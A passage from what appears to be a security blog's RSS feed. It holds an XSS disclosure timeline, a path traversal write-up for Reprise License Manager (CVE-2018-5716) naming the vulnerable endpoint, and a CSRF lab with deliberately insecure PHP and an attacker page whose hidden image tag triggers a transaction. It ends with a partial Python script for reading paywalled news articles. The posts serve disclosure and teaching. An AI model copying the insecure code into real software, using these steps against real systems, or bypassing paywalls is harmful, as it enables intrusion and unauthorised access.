In the second injection point we see that it capitalizes the input so we need to (for example) point to a script on another location to fully exploit it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concluding&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;An attacker can exploit this vulnerability to extract additional information from a clients website. If for any change you need to have this product exposed mitigations are needed to be placed to block this attack. There is also the possibility to have other injection points in the software, but that wasn’t thoroughly tested.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timeline&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;27/08/2018 - First contact to request security contact of the company&lt;/li&gt;
  &lt;li&gt;28/08/2018 - First response&lt;/li&gt;
  &lt;li&gt;31/08/2018 - Details sent&lt;/li&gt;
  &lt;li&gt;31/08/2018 - Response (deprecated 5 years ago) won’t fix&lt;/li&gt;
  &lt;li&gt;31/08/2018 - Query to known if clients are going to be notified&lt;/li&gt;
  &lt;li&gt;22/10/2018 - No Response, contacted CSIRT&lt;/li&gt;
  &lt;li&gt;XX/12/2018 - Won’t fix, clients being informed&lt;/li&gt;
  &lt;li&gt;01/02/2019 - Disclosing it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;OWASP-XSS&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&quot;&gt;OWASP-XSS Mitigation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I do not promote the exploitation of this vulnerability for malicious purposes. My research was only an academic one without interference or harm to any people.&lt;/p&gt;
</description>
        <pubDate>Fri, 01 Feb 2019 00:00:00 +0000</pubDate>
        <link>http://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html</guid>
        
        
        <category>web</category>
        
        <category>XSS</category>
        
      </item>
    
      <item>
        <title>Path Traversal Reprise Licence Manager (CVE-2018-5716)</title>
        <description>&lt;p&gt;This post will demonstrate a vulnerability in the &lt;strong&gt;Reprise Licence Manager (RLM) version 11.0&lt;/strong&gt;  found while doing a pentest. The vulnerability in question allows a user with access to the Web Management Interface to access (and sometimes write) files in the System.&lt;/p&gt;

&lt;p&gt;This vulnerability allows to access files, and therefore gather additional info about the system, and also delete the log file of the RLM server (in case of the file write permission).&lt;/p&gt;

&lt;p&gt;This situation was reported to the &lt;strong&gt;Reprise Software Inc.&lt;/strong&gt; and was promptly considered &lt;strong&gt;NOT A VULNERABILITY&lt;/strong&gt; since the application was to be installed as a non-privileged user. However I strongly disagree since an attacker can access some files that are available for all users on the system. This issue could be easily resolved by having a list of files where the application can access and limit the access to the Web Application only.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;CVE (CVE-2018-5716)&lt;/strong&gt; was issued for this vulnerability and is going to be released soon.&lt;/p&gt;

&lt;p&gt;Without any further ado here comes the details of it:&lt;/p&gt;

&lt;p&gt;An attacker who can access the Web Management Interface can edit license files, license files have an arbitrary path where a person can edit. Changing the path to some other file will render it access to that file.&lt;/p&gt;

&lt;p&gt;One interesting aspect is that you can write any extension for the file so .EXE files where an attacker could write executable files. However, &lt;strong&gt;the [&amp;lt;&amp;gt;&amp;amp;] aren’t allowed&lt;/strong&gt; so introducing WebShells won’t be so easy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_exe_upload.png&quot; alt=&quot;Uploading an EXE Extension File&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The vector itself that this vulnerability is refering will be located on the http(s)://ipOfServer:port/&lt;strong&gt;/goform/edit_lf_get_data&lt;/strong&gt;. Analyzing the request with burp we can see the parameter where a full path of a file is being send:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_path_trans.png&quot; alt=&quot;Request with potential Arbitrary file Read&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If we change the path to some file out of the directory structure, like for example the hosts file in windows we can see the response in the Web browser where the file will be presented:
&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_path_hosts.png&quot; alt=&quot;Arbitrary File Read&quot; /&gt;
&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_exploited.png&quot; alt=&quot;Arbitrary File Read 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the picture above a file outside the Web root was accessed without any control. The matter is worsen since the application accepts in the user interface any file, by direct input thus Reprise Software Inc. won’t consider this a vulnerability. However an attacker can overwrite some important files, like the application log hence hiding their tracks. A solution passes by limiting the file access to the directory structure or to a license folder, avoiding the writing of files with different extensions.&lt;/p&gt;

&lt;p&gt;Next I present to you the form where you can input any file to be read (and then overwritten, giving the permissions):
&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_arb1.png&quot; alt=&quot;Arbitrary File Read 3&quot; /&gt;
&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_arb2.png&quot; alt=&quot;Arbitrary File Read 4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For testing and record next is the about page where it states the product version:
&lt;img src=&quot;http://www.0x90.zone/images/reprise_path_traversal/reprise_about.png&quot; alt=&quot;About&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On conclusion, this is my opinion &lt;strong&gt;only&lt;/strong&gt;, that this behavior represents a danger since the attacker can read arbitrary data provided its stored on the disk &lt;strong&gt;AND&lt;/strong&gt; we have permission to read. However a lot of information can be retrieved from files that have low permissions standards. The recommendation that the company gave me is to lower the permissions level so the application can’t read critical files, but I think that solution won’t be enough and based on the OWASP Path Transversal (&lt;a href=&quot;https://www.owasp.org/index.php/Path_Traversal&quot;&gt;OWASP Path Transversal&lt;/a&gt;) it is still considered a vulnerability. There is the possibility to disable the interface.&lt;/p&gt;

&lt;p&gt;I hereby don’t incentive to exploit this vulnerability for malicious purposes and my research was only an academic one without interference or harm to any people.&lt;/p&gt;
</description>
        <pubDate>Fri, 16 Feb 2018 16:20:51 +0000</pubDate>
        <link>http://www.0x90.zone/web/path-traversal/2018/02/16/Path-Traversal-Reprise-LM.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/web/path-traversal/2018/02/16/Path-Traversal-Reprise-LM.html</guid>
        
        
        <category>web</category>
        
        <category>path-traversal</category>
        
      </item>
    
      <item>
        <title>CSRF and COORS the misconfiguration that will own you.</title>
        <description>&lt;p&gt;A lot of requendations about security are “don’t browse sites that you don’t know”. People can ask why is that. How visiting a website that i don’t fully trust can compromise me or other sites that I use.&lt;/p&gt;

&lt;p&gt;Today I embarked on a quest to try to show people (and some shitty computer security firms that don’t consider this a vulnerability) why that’s absolutely wrong. Shortly I will setup an environment and perform the attack on a small lab to show you how to use it and how to defend against it. 
CSRF or cross-site request forgery is an attack that where a website makes an HTTP request to other site and triggers an action. This action can be, changing a password, creating a new user on the application (useful if there is an administration panel). This vulnerability appears on many security devices and the attacker can exploit them to whereas extent it wants, however some criteria are required for it to be successful:
The attacker must know the complete address of the service 
The parameters for the call should be known, or at least, deterministic
The victim should be already logged in&lt;/p&gt;

&lt;p&gt;The first criteria could be met or by inside knowledge or OSINT (Open Source Intelligence) or scanning. A simple way is, imagine you are a pentester and you already are on the network and see a known security appliance that has a CSRF vulnerability to add users that will allow you to control, with high privileges the network perimeter. You know the appliance (Software), the version and the address, so it’s should be fairly straight forward to attack.&lt;/p&gt;

&lt;p&gt;The second criteria comes with the first one, when you identify the software its easy to find the request that will trigger the attack. You can setup Burp to intercept the requests of the browser or you can simple use the developers tools on the main browsers (Chrome/Firefox) and navigate to the ‘Network’ Tab and inspect the traffic generated by a Web Application. By clicking on the request you can inspect all the parameters and check if there is any “csrf_token” parameter that will block our attack.&lt;/p&gt;

&lt;p&gt;The third criteria is a bit of chance. If its a portal that we know the victim uses we will probably achieve our goal, otherwise we may not. Other techniques could be used link traffic inspection to check if its communicating with the server (if we check for the destination IP in a SSL/TLS connection).&lt;/p&gt;

&lt;p&gt;In some environments with federal authentication (or similar) where the login is the same for all the Web applications on the same domain even if the victim didn’t login on the specific portal the session cookie still exists and can be  used to access the portal nevertheless. I say can since some federal authentication services may require a confirmation before allowing the specific web application to continue.&lt;/p&gt;

&lt;p&gt;Now with that in mind lets begin with our scenario. We have two Web sites the official site (at 192.168.155.114)and the attackers website (at 192.168.155.133). The official site is a site where a user has to login to make a transaction. For sake of brevity the official website has a predefined login with the username being “victim” and the password “pass”, by requesting the transaction a session variable is stored and saved not allowing any more submissions. Please disregard the other vulnerabilities on the site like the username and password being submitted via GET request we are not focusing on that right now. Here is the code for the official WebSite:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-php&quot; data-lang=&quot;php&quot;&gt;&lt;span class=&quot;nb&quot;&gt;session_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logedin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;victim&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;pass&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logedin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&amp;lt;form action=&quot;/bankpage/index.php&quot;&amp;gt;
	  Username:&amp;lt;br&amp;gt;
	  &amp;lt;input type=&quot;text&quot; name=&quot;username&quot;&amp;gt;&amp;lt;br&amp;gt;
	  Last name:&amp;lt;br&amp;gt;
		  &amp;lt;input type=&quot;password&quot; name=&quot;password&quot;&amp;gt;
	&amp;lt;input type=&quot;submit&quot;&amp;gt;
		&amp;lt;/form&amp;gt;
			&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logedin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;logedin&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;transactions&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;Transaction
		&amp;lt;br&amp;gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;transactions&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;transaction_number&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])){&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$_SESSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;transactions&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Transaction Made=&apos;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;transaction_number&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Refresh:0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;No transactions have been made&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;


            &lt;span class=&quot;c1&quot;&gt;//Make transaction&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;
	&amp;lt;form action=&quot;/bankpage/index.php&quot;&amp;gt;
	&amp;lt;input type=&quot;text&quot; name=&quot;transaction_number&quot; /&amp;gt;
	&amp;lt;input type=&quot;Submit&quot; value=&quot;Submit&quot; /&amp;gt;
	&amp;lt;/form&amp;gt;
	&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#DONT FORGET THE PHP TAGS!&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The attackers website is the one that, once visited, makes the cross site request and triggers the transaction. It’s just simple as that, just visit the website and before you know it, the attack has already been done. And here is the code for the attackers site:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt; ATACCKERS &lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://192.168.155.114/bankpage/index.php?transaction_number=1337&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;border=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The attack procedes as follows, the victim accesses the website and logins in it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/csrf/official_login.PNG&quot; alt=&quot;Official Website&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we see in the next image, there are no transaction done.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/csrf/victim_transactions.PNG&quot; alt=&quot;After the login&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By visiting the attacker website and triggering the attack we go back then to the official site and see a transaction that we haven’t done knowingly. 
&lt;img src=&quot;http://www.0x90.zone/images/csrf/attack.PNG&quot; alt=&quot;Attack&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When we refresh the official page we now see the transaction that has been made.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/csrf/attack_done.PNG&quot; alt=&quot;Attack Done&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now for the fun part. There are a lot of ways to do this easily. The first one is by creating and img tag and point the source for the address to attack. If we need a POST request we can create a form with it and when the page is loaded it triggers the event and submit the form.
One thing that you should have in mind is that browsers nowadays are more “intelligent” than a few years back and when submitting and AJAX request it will be blocked. The reason for this is CORS (Cross Origin Resource Sharing). This HTTP header tries to block requests to other sites that don-t specially specifies the origin host. Some sites provide an external API where the website makes requests to and that API should implement CORS for modern browsers to work. This isn’t valid for some HTML tags since almost everyone uses, for images at least, external resources.&lt;/p&gt;

&lt;p&gt;To detect this attack on you website you could simple check for external HTTP Referer on the logs for your API. If a website that you know is used for this attack or suspect its being used it will show as a different Referer.&lt;/p&gt;

&lt;p&gt;To fully mitigate this issue we should employ CSRF_TOKEN verification in all forms that will trigger some action in the database. Solutions build in django, for instance, already required to add the token by default in every form, for Apache lovers we can use mod_csrf (&lt;a href=&quot;http://mod-csrf.sourceforge.net/&quot;&gt;mod_csrf&lt;/a&gt;) or in code (&lt;a href=&quot;https://www.owasp.org/index.php/PHP_CSRF_Guard&quot;&gt;PHP_CSRF_GUARD&lt;/a&gt;). Ultimately the web developer should use this by default while developing the Web Application. Since the attacker can’t have the token easely he can’t submit the form.&lt;/p&gt;

&lt;p&gt;References: &lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot;&gt;OWASP CSRF &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Happy New Year for everyone!&lt;/p&gt;

</description>
        <pubDate>Mon, 11 Dec 2017 23:00:00 +0000</pubDate>
        <link>http://www.0x90.zone/websecurity/2017/12/11/CSRFandCOORS.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/websecurity/2017/12/11/CSRFandCOORS.html</guid>
        
        
        <category>WebSecurity</category>
        
      </item>
    
      <item>
        <title>How to not implement Security - A tale of Hidden Text</title>
        <description>&lt;p&gt;Finnaly with some time to write. This time I want to point out a very usual mistake done in Web Applications programming wich is hidding content with JavaScript. Time and time again I see this “Mistake”, on Universities, Shopping sites and on web newspappers.&lt;/p&gt;

&lt;p&gt;Recently I was browsing a news site and suddenly I couldn’t load the whole story since I was using an ad-blocker and since I didn’t pay for a subscription (Obviously). Altough it was a very interesting story and I really wanted to read.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/publicoStory/limitedeArtigos.png&quot; alt=&quot;Reaching Limit of Articles&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And after the limit is reached we are presented with this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/publicoStory/limiteReached.png&quot; alt=&quot;Limit Reached&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The very first thing that I saw was a subtle fade-out of the text on the story and I started wondering were the hell the text went. Of course, being me the very next thing is to see the source-code and, surprise surprise. There was the rest of the story. Not in a so friendly view but I could finish reading it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/publicoStory/sourceLimiteReached.png&quot; alt=&quot;Source Code of the Article&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then check other stories and the same thing happend, the story will be loaded but it will be hidden. Python to the rescue then! I created a litle script that recieves the URL of the story and clean everything to present with the raw text of the story. I could obviously create a document with all the images and stuff but, normally, the images appear on the header of the page and are not hidden (Some exceptions apply).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;bs4&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BeautifulSoup&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#This script will show, in a more user-friendly way, the hidden news in the publico.pt website
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#Check for news link
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;No News Portal was passed&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#Execute the request
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;urllib2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;noticia&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#Parse the data to be more user-friendly
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;soup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BeautifulSoup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;noticia&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;html.parser&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;story&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;soup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;story-body&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

